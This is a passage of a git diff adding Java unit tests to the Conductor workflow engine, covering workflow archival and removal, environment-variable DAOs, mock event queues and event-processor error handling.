InputStream stream = TestDeciderService.class.getResourceAsStream("/completed.json"); + WorkflowModel workflow = objectMapper.readValue(stream, WorkflowModel.class); + + when(executionDAO.getWorkflow(anyString(), anyBoolean())).thenReturn(workflow); + doThrow(new RuntimeException("index failure")) + .when(indexDAO) + .updateWorkflow(anyString(), any(), any()); + + assertThrows( + RuntimeException.class, + () -> executionDAOFacade.removeWorkflow("workflowId", true)); + + verify(executionDAO, never()).removeWorkflow(anyString()); + } + + @Test + public void testArchiveWorkflowSkipsRemovalOnTaskArchiveFailure() { + WorkflowModel workflow = new WorkflowModel(); + WorkflowDef workflowDef = new WorkflowDef(); + workflowDef.setName("workflowName"); + workflowDef.setVersion(1); + workflow.setWorkflowDefinition(workflowDef); + workflow.setWorkflowId("workflowId"); + workflow.setStatus(WorkflowModel.Status.COMPLETED); + + TaskModel task = new TaskModel(); + task.setTaskId("taskId"); + task.setStatus(TaskModel.Status.IN_PROGRESS); + workflow.setTasks(Collections.singletonList(task)); + + when(executionDAO.getWorkflow(anyString(), anyBoolean())).thenReturn(workflow); + + assertThrows( + IllegalArgumentException.class, + () -> executionDAOFacade.removeWorkflow("workflowId", true)); + + verify(indexDAO, times(1)).updateWorkflow(anyString(), any(), any()); + verify(executionDAO, never()).removeWorkflow(anyString()); + } + + @Test + public void testArchiveWorkflowWithScheduledTasksDoesNotThrow() { + // Regression test for: archival fails with IllegalArgumentException when a workflow is + // terminated while tasks are still in SCHEDULED state (before cancelNonTerminalTasks runs). + WorkflowDef workflowDef = new WorkflowDef(); + workflowDef.setName("testWorkflow"); + workflowDef.setVersion(1); + + WorkflowModel workflow = new WorkflowModel(); + workflow.setWorkflowId("workflowId"); + workflow.setStatus(WorkflowModel.Status.TERMINATED); + workflow.setWorkflowDefinition(workflowDef); + + TaskModel scheduledTask = new TaskModel(); + scheduledTask.setTaskId("scheduledTaskId"); + scheduledTask.setStatus(TaskModel.Status.SCHEDULED); + + TaskModel completedTask = new TaskModel(); + completedTask.setTaskId("completedTaskId"); + completedTask.setStatus(TaskModel.Status.COMPLETED); + + workflow.setTasks(List.of(scheduledTask, completedTask)); + + when(executionDAO.getWorkflow(anyString(), anyBoolean())).thenReturn(workflow); + + // Should NOT throw IllegalArgumentException for SCHEDULED task + executionDAOFacade.removeWorkflow("workflowId", true); + + verify(executionDAO, times(1)).removeWorkflow(anyString()); + // COMPLETED task should be archived + verify(indexDAO, times(1)).updateTask(anyString(), eq("completedTaskId"), any(), any()); + // SCHEDULED task should be skipped (not archived, not removed) + verify(indexDAO, never()).updateTask(anyString(), eq("scheduledTaskId"), any(), any()); + verify(indexDAO, never()).asyncRemoveTask(anyString(), anyString()); + } + + @Test + public void testUpdateWorkflowSkipsTaskIndexingWhenDisabled() { + WorkflowModel workflow = new WorkflowModel(); + WorkflowDef workflowDef = new WorkflowDef(); + workflowDef.setName("workflowName"); + workflowDef.setVersion(1); + workflow.setWorkflowDefinition(workflowDef); + workflow.setWorkflowId("workflowId"); + workflow.setStatus(WorkflowModel.Status.COMPLETED); + workflow.setCreateTime(System.currentTimeMillis() - 10_000); + + TaskModel task = new TaskModel(); + task.setTaskId("taskId"); + task.setStatus(TaskModel.Status.COMPLETED); + workflow.setTasks(Collections.singletonList(task)); + + ConductorProperties properties = mock(ConductorProperties.class); + when(properties.isEventExecutionIndexingEnabled()).thenReturn(true); + when(properties.isAsyncIndexingEnabled()).thenReturn(true); + when(properties.isTaskIndexingEnabled()).thenReturn(false); + when(properties.getAsyncUpdateShortRunningWorkflowDuration()) + .thenReturn(Duration.ofSeconds(1)); + when(properties.getAsyncUpdateDelay()).thenReturn(Duration.ofSeconds(0)); + ExecutionDAOFacade disabledTaskIndexingFacade = + new ExecutionDAOFacade( + executionDAO, + mock(QueueDAO.class), + indexDAO, + mock(RateLimitingDAO.class), + mock(ConcurrentExecutionLimitDAO.class), + mock(PollDataDAO.class), + objectMapper, + properties, + externalPayloadStorageUtils); + + disabledTaskIndexingFacade.updateWorkflow(workflow); + + verify(indexDAO, never()).asyncIndexTask(any()); + } + + @Test + public void testRemoveWorkflowWithTaskIndexingDisabled() { + WorkflowModel workflow = new WorkflowModel(); + workflow.setWorkflowId("workflowId"); + workflow.setStatus(WorkflowModel.Status.COMPLETED); + + TaskModel task = new TaskModel(); + task.setTaskId("taskId"); + workflow.setTasks(Collections.singletonList(task)); + + ConductorProperties properties = mock(ConductorProperties.class); + when(properties.isEventExecutionIndexingEnabled()).thenReturn(true); + when(properties.isAsyncIndexingEnabled()).thenReturn(true); + when(properties.isTaskIndexingEnabled()).thenReturn(false); + ExecutionDAOFacade disabledTaskIndexingFacade = + new ExecutionDAOFacade( + executionDAO, + mock(QueueDAO.class), + indexDAO, + mock(RateLimitingDAO.class), + mock(ConcurrentExecutionLimitDAO.class), + mock(PollDataDAO.class), + objectMapper, + properties, + externalPayloadStorageUtils); + + when(executionDAO.getWorkflow(anyString(), anyBoolean())).thenReturn(workflow); + + disabledTaskIndexingFacade.removeWorkflow("workflowId", false); + + verify(indexDAO, times(1)).asyncRemoveWorkflow(anyString()); + verify(indexDAO, never()).asyncRemoveTask(anyString(), anyString()); + verify(indexDAO, never()).updateTask(anyString(), anyString(), any(), any()); + } + + @Test + public void testRemoveWorkflowSkipsRemovalOnIndexFailure() { + WorkflowModel workflow = new WorkflowModel(); + workflow.setWorkflowId("workflowId"); + workflow.setStatus(WorkflowModel.Status.COMPLETED); + + TaskModel task = new TaskModel(); + task.setTaskId("taskId"); + workflow.setTasks(Collections.singletonList(task)); + + when(executionDAO.getWorkflow(anyString(), anyBoolean())).thenReturn(workflow); + doThrow(new RuntimeException("index failure")) + .when(indexDAO) + .asyncRemoveWorkflow(anyString()); + + assertThrows( + RuntimeException.class, + () -> executionDAOFacade.removeWorkflow("workflowId", false)); + + verify(executionDAO, never()).removeWorkflow(anyString()); + } + + @Test + public void testAddEventExecution() { + when(executionDAO.addEventExecution(any())).thenReturn(false); + boolean added = executionDAOFacade.addEventExecution(new EventExecution()); + assertFalse(added); + verify(indexDAO, never()).addEventExecution(any()); + + when(executionDAO.addEventExecution(any())).thenReturn(true); + added = executionDAOFacade.addEventExecution(new EventExecution()); + assertTrue(added); + verify(indexDAO, times(1)).asyncAddEventExecution(any()); + } + + @Test(expected = TerminateWorkflowException.class) + public void testUpdateTaskThrowsTerminateWorkflowException() { + TaskModel task = new TaskModel(); + task.setScheduledTime(1L); + task.setSeq(1); + task.setTaskId(UUID.randomUUID().toString()); + task.setTaskDefName("task1"); + + doThrow(new TerminateWorkflowException("failed")) + .when(externalPayloadStorageUtils) + .verifyAndUpload(task, ExternalPayloadStorage.PayloadType.TASK_OUTPUT); + + executionDAOFacade.updateTask(task); + } +} diff --git a/core/src/test/java/com/netflix/conductor/core/env/EnvVariableEnvironmentDAOTest.java b/core/src/test/java/com/netflix/conductor/core/env/EnvVariableEnvironmentDAOTest.java new file mode 100644 index 0000000..711cb0c --- /dev/null +++ b/core/src/test/java/com/netflix/conductor/core/env/EnvVariableEnvironmentDAOTest.java @@ -0,0 +1,70 @@ +/* + * Copyright 2026 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.core.env; + +import java.util.List; + +import org.junit.After; +import org.junit.Test; + +import com.netflix.conductor.common.metadata.EnvironmentVariable; + +import static org.junit.Assert.*; + +public class EnvVariableEnvironmentDAOTest { + + private final EnvVariableEnvironmentDAO dao = new EnvVariableEnvironmentDAO("CONDUCTOR_ENV_"); + + @After + public void cleanup() { + System.clearProperty("CONDUCTOR_ENV_REGION"); + System.clearProperty("CONDUCTOR_ENV_ZONE"); + } + + @Test + public void testGetReadsPrefixedProperty() { + System.setProperty("CONDUCTOR_ENV_REGION", "us-east-1"); + assertEquals("us-east-1", dao.getEnvVariable("REGION")); + } + + @Test + public void testGetMissingReturnsNull() { + assertNull(dao.getEnvVariable("DOES_NOT_EXIST")); + } + + @Test + public void testGetAllStripsPrefix() { + System.setProperty("CONDUCTOR_ENV_REGION", "us-east-1"); + System.setProperty("CONDUCTOR_ENV_ZONE", "a"); + List all = dao.getAll(); + assertTrue( + all.stream() + .anyMatch( + e -> + e.getName().equals("REGION") + && e.getValue().equals("us-east-1"))); + assertTrue( + all.stream().anyMatch(e -> e.getName().equals("ZONE") && e.getValue().equals("a"))); + assertTrue(all.stream().noneMatch(e -> e.getName().startsWith("CONDUCTOR_ENV_"))); + } + + @Test(expected = UnsupportedOperationException.class) + public void testSetThrows() { + dao.setEnvVariable("REGION", "x"); + } + + @Test(expected = UnsupportedOperationException.class) + public void testDeleteThrows() { + dao.delete("REGION"); + } +} diff --git a/core/src/test/java/com/netflix/conductor/core/env/NoopEnvironmentDAOTest.java b/core/src/test/java/com/netflix/conductor/core/env/NoopEnvironmentDAOTest.java new file mode 100644 index 0000000..27d170b --- /dev/null +++ b/core/src/test/java/com/netflix/conductor/core/env/NoopEnvironmentDAOTest.java @@ -0,0 +1,42 @@ +/* + * Copyright 2026 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.core.env; + +import org.junit.Test; + +import static org.junit.Assert.*; + +public class NoopEnvironmentDAOTest { + + private final NoopEnvironmentDAO dao = new NoopEnvironmentDAO(); + + @Test + public void testGetEnvVariableReturnsNull() { + assertNull(dao.getEnvVariable("REGION")); + } + + @Test + public void testGetAllReturnsEmpty() { + assertTrue(dao.getAll().isEmpty()); + } + + @Test(expected = UnsupportedOperationException.class) + public void testSetThrows() { + dao.setEnvVariable("REGION", "x"); + } + + @Test(expected = UnsupportedOperationException.class) + public void testDeleteThrows() { + dao.delete("REGION"); + } +} diff --git a/core/src/test/java/com/netflix/conductor/core/events/MockObservableQueue.java b/core/src/test/java/com/netflix/conductor/core/events/MockObservableQueue.java new file mode 100644 index 0000000..79d4706 --- /dev/null +++ b/core/src/test/java/com/netflix/conductor/core/events/MockObservableQueue.java @@ -0,0 +1,92 @@ +/* + * Copyright 2020 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.core.events; + +import java.util.Comparator; +import java.util.List; +import java.util.Set; +import java.util.TreeSet; +import java.util.stream.Collectors; + +import com.netflix.conductor.core.events.queue.Message; +import com.netflix.conductor.core.events.queue.ObservableQueue; + +import rx.Observable; + +public class MockObservableQueue implements ObservableQueue { + + private final String uri; + private final String name; + private final String type; + private final Set messages = new TreeSet<>(Comparator.comparing(Message::getId)); + + public MockObservableQueue(String uri, String name, String type) { + this.uri = uri; + this.name = name; + this.type = type; + } + + @Override + public Observable observe() { + return Observable.from(messages); + } + + public String getType() { + return type; + } + + @Override + public String getName() { + return name; + } + + @Override + public String getURI() { + return uri; + } + + @Override + public List ack(List msgs) { + messages.removeAll(msgs); + return msgs.stream().map(Message::getId).collect(Collectors.toList()); + } + + @Override + public void publish(List messages) { + this.messages.addAll(messages); + } + + @Override + public void setUnackTimeout(Message message, long unackTimeout) {} + + @Override + public long size() { + return messages.size(); + } + + @Override + public String toString() { + return "MockObservableQueue [uri=" + uri + ", name=" + name + ", type=" + type + "]"; + } + + @Override + public void start() {} + + @Override + public void stop() {} + + @Override + public boolean isRunning() { + return false; + } +} diff --git a/core/src/test/java/com/netflix/conductor/core/events/MockQueueProvider.java b/core/src/test/java/com/netflix/conductor/core/events/MockQueueProvider.java new file mode 100644 index 0000000..3900a45 --- /dev/null +++ b/core/src/test/java/com/netflix/conductor/core/events/MockQueueProvider.java @@ -0,0 +1,37 @@ +/* + * Copyright 2020 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.core.events; + +import org.springframework.lang.NonNull; + +import com.netflix.conductor.core.events.queue.ObservableQueue; + +public class MockQueueProvider implements EventQueueProvider { + + private final String type; + + public MockQueueProvider(String type) { + this.type = type; + } + + @Override + public String getQueueType() { + return "mock"; + } + + @Override + @NonNull + public ObservableQueue getQueue(String queueURI) { + return new MockObservableQueue(queueURI, queueURI, type); + } +} diff --git a/core/src/test/java/com/netflix/conductor/core/events/TestDefaultEventProcessor.java b/core/src/test/java/com/netflix/conductor/core/events/TestDefaultEventProcessor.java new file mode 100644 index 0000000..4b43b72 --- /dev/null +++ b/core/src/test/java/com/netflix/conductor/core/events/TestDefaultEventProcessor.java @@ -0,0 +1,539 @@ +/* + * Copyright 2022 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.core.events; + +import java.util.*; +import java.util.concurrent.atomic.AtomicBoolean; +import java.util.concurrent.atomic.AtomicInteger; + +import org.junit.Before; +import org.junit.Test; +import org.junit.runner.RunWith; +import org.mockito.stubbing.Answer; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.beans.factory.annotation.Qualifier; +import org.springframework.context.annotation.ComponentScan; +import org.springframework.context.annotation.Configuration; +import org.springframework.retry.support.RetryTemplate; +import org.springframework.test.context.ContextConfiguration; +import org.springframework.test.context.junit4.SpringRunner; + +import com.netflix.conductor.common.config.TestObjectMapperConfiguration; +import com.netflix.conductor.common.metadata.events.EventExecution; +import com.netflix.conductor.common.metadata.events.EventHandler; +import com.netflix.conductor.common.metadata.events.EventHandler.Action; +import com.netflix.conductor.common.metadata.events.EventHandler.Action.Type; +import com.netflix.conductor.common.metadata.events.EventHandler.StartWorkflow; +import com.netflix.conductor.common.metadata.events.EventHandler.TaskDetails; +import com.netflix.conductor.core.config.ConductorCoreConfiguration; +import com.netflix.conductor.core.config.ConductorProperties; +import com.netflix.conductor.core.events.queue.Message; +import com.netflix.conductor.core.events.queue.ObservableQueue; +import com.netflix.conductor.core.exception.TransientException; +import com.netflix.conductor.core.execution.StartWorkflowInput; +import com.netflix.conductor.core.execution.WorkflowExecutor; +import com.netflix.conductor.core.execution.evaluators.Evaluator; +import com.netflix.conductor.core.execution.evaluators.JavascriptEvaluator; +import com.netflix.conductor.core.utils.ExternalPayloadStorageUtils; +import com.netflix.conductor.core.utils.JsonUtils; +import com.netflix.conductor.core.utils.ParametersUtils; +import com.netflix.conductor.model.TaskModel; +import com.netflix.conductor.model.WorkflowModel; +import com.netflix.conductor.service.ExecutionService; +import com.netflix.conductor.service.MetadataService; + +import com.fasterxml.jackson.databind.ObjectMapper; + +import static org.junit.Assert.*; +import static org.mockito.ArgumentMatchers.*; +import static org.mockito.Mockito.*; + +@ContextConfiguration( + classes = { + TestObjectMapperConfiguration.class, + TestDefaultEventProcessor.TestConfiguration.class, + ConductorCoreConfiguration.class + }) +@RunWith(SpringRunner.class) +public class TestDefaultEventProcessor { + + private String event; + private ObservableQueue queue; + private MetadataService metadataService; + private ExecutionService executionService; + private WorkflowExecutor workflowExecutor; + private ExternalPayloadStorageUtils externalPayloadStorageUtils; + private SimpleActionProcessor actionProcessor; + private ParametersUtils parametersUtils; + private JsonUtils jsonUtils; + private ConductorProperties properties; + private Message message; + + @Autowired private Map evaluators; + + @Autowired private ObjectMapper objectMapper; + + @Autowired + private @Qualifier("onTransientErrorRetryTemplate") RetryTemplate retryTemplate; + + @Configuration + @ComponentScan(basePackageClasses = {Evaluator.class}) // load all Evaluator beans + public static class TestConfiguration {} + + @Before + public void setup() { + event = "sqs:arn:account090:sqstest1"; + String queueURI = "arn:account090:sqstest1"; + + metadataService = mock(MetadataService.class); + executionService = mock(ExecutionService.class); + workflowExecutor = mock(WorkflowExecutor.class); + externalPayloadStorageUtils = mock(ExternalPayloadStorageUtils.class); + actionProcessor = mock(SimpleActionProcessor.class); + parametersUtils = new ParametersUtils(objectMapper); + jsonUtils = new JsonUtils(objectMapper); + + queue = mock(ObservableQueue.class); + message = + new Message( + "t0", + "{\"Type\":\"Notification\",\"MessageId\":\"7e4e6415-01e9-5caf-abaa-37fd05d446ff\",\"Message\":\"{\\n \\\"testKey1\\\": \\\"level1\\\",\\n \\\"metadata\\\": {\\n \\\"testKey2\\\": 123456 }\\n }\",\"Timestamp\":\"2018-08-10T21:22:05.029Z\",\"SignatureVersion\":\"1\"}", + "t0"); + + when(queue.getURI()).thenReturn(queueURI); + when(queue.getName()).thenReturn(queueURI); + when(queue.getType()).thenReturn("sqs"); + + properties = mock(ConductorProperties.class); + when(properties.isEventMessageIndexingEnabled()).thenReturn(true); + when(properties.getEventProcessorThreadCount()).thenReturn(2); + } + + @Test + public void testEventProcessor() { + // setup event handler + EventHandler eventHandler = new EventHandler(); + eventHandler.setName(UUID.randomUUID().toString()); + eventHandler.setActive(true); + + Map taskToDomain = new HashMap<>(); + taskToDomain.put("*", "dev"); + + Action startWorkflowAction = new Action(); + startWorkflowAction.setAction(Type.start_workflow); + startWorkflowAction.setStart_workflow(new StartWorkflow()); + startWorkflowAction.getStart_workflow().setName("workflow_x"); + startWorkflowAction.getStart_workflow().setVersion(1); + startWorkflowAction.getStart_workflow().setTaskToDomain(taskToDomain); + eventHandler.getActions().add(startWorkflowAction); + + Action completeTaskAction = new Action(); + completeTaskAction.setAction(Type.complete_task); + completeTaskAction.setComplete_task(new TaskDetails()); + completeTaskAction.getComplete_task().setTaskRefName("task_x"); + completeTaskAction.getComplete_task().setWorkflowId(UUID.randomUUID().toString()); + completeTaskAction.getComplete_task().setOutput(new HashMap<>()); + eventHandler.getActions().add(completeTaskAction); + + eventHandler.setEvent(event); + + when(metadataService.getEventHandlersForEvent(event, true)) + .thenReturn(Collections.singletonList(eventHandler)); + when(executionService.addEventExecution(any())).thenReturn(true); + when(queue.rePublishIfNoAck()).thenReturn(false); + + StartWorkflowInput startWorkflowInput = new StartWorkflowInput(); + startWorkflowInput.setName(startWorkflowAction.getStart_workflow().getName()); + startWorkflowInput.setVersion(startWorkflowAction.getStart_workflow().getVersion()); + startWorkflowInput.setCorrelationId( + startWorkflowAction.getStart_workflow().getCorrelationId()); + startWorkflowInput.setEvent(event); + + String id = UUID.randomUUID().toString(); + AtomicBoolean started = new AtomicBoolean(false); + doAnswer( + (Answer) + invocation -> { + started.set(true); + return id; + }) + .when(workflowExecutor) + .startWorkflow( + argThat( + argument -> + startWorkflowAction + .getStart_workflow() + .getName() + .equals(argument.getName()) + && startWorkflowAction + .getStart_workflow() + .getVersion() + .equals(argument.getVersion()) + && event.equals(argument.getEvent()))); + + AtomicBoolean completed = new AtomicBoolean(false); + doAnswer( + (Answer) + invocation -> { + completed.set(true); + return null; + }) + .when(workflowExecutor) + .updateTask(any()); + + TaskModel task = new TaskModel(); + task.setReferenceTaskName(completeTaskAction.getComplete_task().getTaskRefName()); + WorkflowModel workflow = new WorkflowModel(); + workflow.setTasks(Collections.singletonList(task)); + when(workflowExecutor.getWorkflow( + completeTaskAction.getComplete_task().getWorkflowId(), true)) + .thenReturn(workflow); + doNothing().when(externalPayloadStorageUtils).verifyAndUpload(any(), any()); + + SimpleActionProcessor actionProcessor = + new SimpleActionProcessor(workflowExecutor, parametersUtils, jsonUtils); + + DefaultEventProcessor eventProcessor = + new DefaultEventProcessor( + executionService, + metadataService, + actionProcessor, + jsonUtils, + properties, + objectMapper, + evaluators, + retryTemplate); + eventProcessor.handle(queue, message); + assertTrue(started.get()); + assertTrue(completed.get()); + verify(queue, atMost(1)).ack(any()); + verify(queue, never()).nack(any()); + verify(queue, never()).publish(any()); + } + + @Test + public void testEventHandlerWithCondition() { + EventHandler eventHandler = new EventHandler(); + eventHandler.setName("cms_intermediate_video_ingest_handler"); + eventHandler.setActive(true); + eventHandler.setEvent("sqs:dev_cms_asset_ingest_queue"); + eventHandler.setCondition( + "$.Message.testKey1 == 'level1' && $.Message.metadata.testKey2 == 123456"); + + Map workflowInput = new LinkedHashMap<>(); + workflowInput.put("param1", "${Message.metadata.testKey2}"); + workflowInput.put("param2", "SQS-${MessageId}"); + + Action startWorkflowAction = new Action(); + startWorkflowAction.setAction(Type.start_workflow); + startWorkflowAction.setStart_workflow(new StartWorkflow()); + startWorkflowAction.getStart_workflow().setName("cms_artwork_automation"); + startWorkflowAction.getStart_workflow().setVersion(1); + startWorkflowAction.getStart_workflow().setInput(workflowInput); + startWorkflowAction.setExpandInlineJSON(true); + eventHandler.getActions().add(startWorkflowAction); + + eventHandler.setEvent(event); + + when(metadataService.getEventHandlersForEvent(event, true)) + .thenReturn(Collections.singletonList(eventHandler)); + when(executionService.addEventExecution(any())).thenReturn(true); + when(queue.rePublishIfNoAck()).thenReturn(false); + + String id = UUID.randomUUID().toString(); + AtomicBoolean started = new AtomicBoolean(false); + doAnswer( + (Answer) + invocation -> { + started.set(true); + return id; + }) + .when(workflowExecutor) + .startWorkflow( + argThat( + argument -> + startWorkflowAction + .getStart_workflow() + .getName() + .equals(argument.getName()) + && startWorkflowAction + .getStart_workflow() + .getVersion() + .equals(argument.getVersion()) + && event.equals(argument.getEvent()))); + + SimpleActionProcessor actionProcessor = + new SimpleActionProcessor(workflowExecutor, parametersUtils, jsonUtils); + + DefaultEventProcessor eventProcessor = + new DefaultEventProcessor( + executionService, + metadataService, + actionProcessor, + jsonUtils, + properties, + objectMapper, + evaluators, + retryTemplate); + eventProcessor.handle(queue, message); + assertTrue(started.get()); + } + + @Test + public void testEventHandlerWithConditionEvaluator() { + EventHandler eventHandler = new EventHandler(); + eventHandler.setName("cms_intermediate_video_ingest_handler"); + eventHandler.setActive(true); + eventHandler.setEvent("sqs:dev_cms_asset_ingest_queue"); + eventHandler.setEvaluatorType(JavascriptEvaluator.NAME); + eventHandler.setCondition( + "$.Message.testKey1 == 'level1' && $.Message.metadata.testKey2 == 123456"); + + Map workflowInput = new LinkedHashMap<>(); + workflowInput.put("param1", "${Message.metadata.testKey2}"); + workflowInput.put("param2", "SQS-${MessageId}"); + + Action startWorkflowAction = new Action(); + startWorkflowAction.setAction(Type.start_workflow); + startWorkflowAction.setStart_workflow(new StartWorkflow()); + startWorkflowAction.getStart_workflow().setName("cms_artwork_automation"); + startWorkflowAction.getStart_workflow().setVersion(1); + startWorkflowAction.getStart_workflow().setInput(workflowInput); + startWorkflowAction.setExpandInlineJSON(true); + eventHandler.getActions().add(startWorkflowAction); + + eventHandler.setEvent(event); + + when(metadataService.getEventHandlersForEvent(event, true)) + .thenReturn(Collections.singletonList(eventHandler)); + when(executionService.addEventExecution(any())).thenReturn(true); + when(queue.rePublishIfNoAck()).thenReturn(false); + + String id = UUID.randomUUID().toString(); + AtomicBoolean started = new AtomicBoolean(false); + doAnswer( + (Answer) + invocation -> { + started.set(true); + return id; + }) + .when(workflowExecutor) + .startWorkflow( + argThat( + argument -> + startWorkflowAction + .getStart_workflow() + .getName() + .equals(argument.getName()) + && startWorkflowAction + .getStart_workflow() + .getVersion() + .equals(argument.getVersion()) + && event.equals(argument.getEvent()))); + + SimpleActionProcessor actionProcessor = + new SimpleActionProcessor(workflowExecutor, parametersUtils, jsonUtils); + + DefaultEventProcessor eventProcessor = + new DefaultEventProcessor( + executionService, + metadataService, + actionProcessor, + jsonUtils, + properties, + objectMapper, + evaluators, + retryTemplate); + eventProcessor.handle(queue, message); + assertTrue(started.get()); + } + + @Test + public void testEventProcessorWithRetriableError() { + EventHandler eventHandler = new EventHandler(); + eventHandler.setName(UUID.randomUUID().toString()); + eventHandler.setActive(true); + eventHandler.setEvent(event); + + Action completeTaskAction = new Action(); + completeTaskAction.setAction(Type.complete_task); + completeTaskAction.setComplete_task(new TaskDetails()); + completeTaskAction.getComplete_task().setTaskRefName("task_x"); + completeTaskAction.getComplete_task().setWorkflowId(UUID.randomUUID().toString()); + completeTaskAction.getComplete_task().setOutput(new HashMap<>()); + eventHandler.getActions().add(completeTaskAction); + + when(queue.rePublishIfNoAck()).thenReturn(false); + when(metadataService.getEventHandlersForEvent(event, true)) + .thenReturn(Collections.singletonList(eventHandler)); + when(executionService.addEventExecution(any())).thenReturn(true); + when(actionProcessor.execute(any(), any(), any(), any())) + .thenThrow(new TransientException("some retriable error")); + + DefaultEventProcessor eventProcessor = + new DefaultEventProcessor( + executionService, + metadataService, + actionProcessor, + jsonUtils, + properties, + objectMapper, + evaluators, + retryTemplate); + eventProcessor.handle(queue, message); + verify(queue, never()).ack(any()); + verify(queue, never()).nack(any()); + verify(queue, atLeastOnce()).publish(any()); + } + + @Test + public void testEventProcessorWithNonRetriableError() { + EventHandler eventHandler = new EventHandler(); + eventHandler.setName(UUID.randomUUID().toString()); + eventHandler.setActive(true); + eventHandler.setEvent(event); + + Action completeTaskAction = new Action(); + completeTaskAction.setAction(Type.complete_task); + completeTaskAction.setComplete_task(new TaskDetails()); + completeTaskAction.getComplete_task().setTaskRefName("task_x"); + completeTaskAction.getComplete_task().setWorkflowId(UUID.randomUUID().toString()); + completeTaskAction.getComplete_task().setOutput(new HashMap<>()); + eventHandler.getActions().add(completeTaskAction); + + when(metadataService.getEventHandlersForEvent(event, true)) + .thenReturn(Collections.singletonList(eventHandler)); + when(executionService.addEventExecution(any())).thenReturn(true); + + when(actionProcessor.execute(any(), any(), any(), any())) + .thenThrow(new IllegalArgumentException("some non-retriable error")); + + DefaultEventProcessor eventProcessor = + new DefaultEventProcessor( + executionService, + metadataService, + actionProcessor, + jsonUtils, + properties, + objectMapper, + evaluators, + retryTemplate); + eventProcessor.handle(queue, message); + verify(queue, atMost(1)).ack(any()); + verify(queue, never()).publish(any()); + } + + @Test + public void testExecuteInvalidAction() { + AtomicInteger executeInvoked = new AtomicInteger(0); + doAnswer( + (Answer>) + invocation -> { + executeInvoked.incrementAndGet(); + throw new UnsupportedOperationException("error"); + }) + .when(actionProcessor) + .execute(any(), any(), any(), any()); + + DefaultEventProcessor eventProcessor = + new DefaultEventProcessor( + executionService, + metadataService, + actionProcessor, + jsonUtils, + properties, + objectMapper, + evaluators, + retryTemplate); + EventExecution eventExecution = new EventExecution("id", "messageId"); + eventExecution.setName("handler"); + eventExecution.setStatus(EventExecution.Status.IN_PROGRESS); + eventExecution.setEvent("event"); + Action action = new Action(); + eventExecution.setAction(Type.start_workflow); + + eventProcessor.execute(eventExecution, action, "payload"); + assertEquals(1, executeInvoked.get()); + assertEquals(EventExecution.Status.FAILED, eventExecution.getStatus()); + assertNotNull(eventExecution.getOutput().get("exception")); + } + + @Test + public void testExecuteNonRetriableException() { + AtomicInteger executeInvoked = new AtomicInteger(0); + doAnswer( + (Answer>) + invocation -> { + executeInvoked.incrementAndGet(); + throw new IllegalArgumentException("some non-retriable error"); + }) + .when(actionProcessor) + .execute(any(), any(), any(), any()); + + DefaultEventProcessor eventProcessor = + new DefaultEventProcessor( + executionService, + metadataService, + actionProcessor, + jsonUtils, + properties, + objectMapper, + evaluators, + retryTemplate); + EventExecution eventExecution = new EventExecution("id", "messageId"); + eventExecution.setStatus(EventExecution.Status.IN_PROGRESS); + eventExecution.setEvent("event"); + eventExecution.setName("handler"); + Action action = new Action(); + action.setAction(Type.start_workflow); + eventExecution.setAction(Type.start_workflow); + + eventProcessor.execute(eventExecution, action, "payload"); + assertEquals(1, executeInvoked.get()); + assertEquals(EventExecution.Status.FAILED, eventExecution.getStatus()); + assertNotNull(eventExecution.getOutput().get("exception")); + } + + @Test + public void testExecuteTransientException() { + AtomicInteger executeInvoked = new AtomicInteger(0); + doAnswer( + (Answer>) + invocation -> { + executeInvoked.incrementAndGet(); + throw new TransientException("some retriable error"); + }) + .when(actionProcessor) + .execute(any(), any(), any(), any()); + + DefaultEventProcessor eventProcessor = + new DefaultEventProcessor( + executionService, + metadataService, + actionProcessor, + jsonUtils, + properties, + objectMapper, + evaluators, + retryTemplate); + EventExecution eventExecution = new EventExecution("id", "messageId"); + eventExecution.setStatus(EventExecution.Status.IN_PROGRESS); + eventExecution.setEvent("event"); + Action action = new Action(); + action.setAction(Type.start_workflow); + + eventProcessor.execute(eventExecution, action, "payload"); + assertEquals(3, executeInvoked.get()); + assertNull(eventExecution.getOutput().get("exception")); + } +} diff --git a/core/src/test/java/com/netflix/conductor/core/events/TestGraalJSFeatures.java b/core/src/test/java/com/netflix/conductor/core/events/TestGraalJSFeatures.java new file mode 100644 index 0000000..c2f0dcf --- /dev/null +++ b/core/src/test/java/com/netflix/conductor/core/events/TestGraalJSFeatures.java @@ -0,0 +1,445 @@ +/* 